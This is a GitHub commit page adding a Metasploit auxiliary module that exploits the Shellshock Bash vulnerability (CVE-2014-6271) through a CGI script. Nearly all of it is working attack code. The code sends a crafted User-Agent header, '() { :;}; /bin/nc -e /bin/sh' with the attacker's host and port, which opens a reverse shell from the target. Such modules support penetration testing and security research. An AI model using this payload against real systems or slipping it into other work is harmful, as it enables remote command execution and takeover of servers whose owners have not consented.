Skip to content

Commit ca63fe9

Browse files
committed
1 parent 11b9a8a commit ca63fe9

File tree

1 file changed

+50
-0
lines changed

1 file changed

+50
-0
lines changed
Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Bash Specially-Crafted Environment Variables Code Injection Attack (PoC)',
15+
'Description' => %q{
16+
This module exploits a vulnerability.
17+
},
18+
'Author' => ['wvu'],
19+
'References' => [
20+
['CVE', '2014-6271'],
21+
['URL', 'https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/'],
22+
['URL', 'https://access.redhat.com/site/solutions/1207723']
23+
],
24+
'DisclosureDate' => 'Sep 24 2014',
25+
'License' => MSF_LICENSE
26+
))
27+
28+
register_options([
29+
OptString.new('TARGETURI', [true, 'Path to CGI script']),
30+
OptAddress.new('LHOST', [true, 'Local host for reverse shell']),
31+
OptPort.new('LPORT', [true, 'Local port for reverse shell'])
32+
], self.class)
33+
end
34+
35+
def run
36+
begin
37+
send_request_cgi(
38+
'method' => 'GET',
39+
'uri' => normalize_uri(target_uri.path),
40+
'agent' => "() { :;}; /bin/nc -e /bin/sh #{datastore['LHOST']} #{datastore['LPORT']} &"
41+
)
42+
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
43+
Rex::HostUnreachable => e
44+
fail_with(Failure::Unreachable, e)
45+
ensure
46+
disconnect
47+
end
48+
end
49+
50+
end

0 commit comments

Comments
 (0)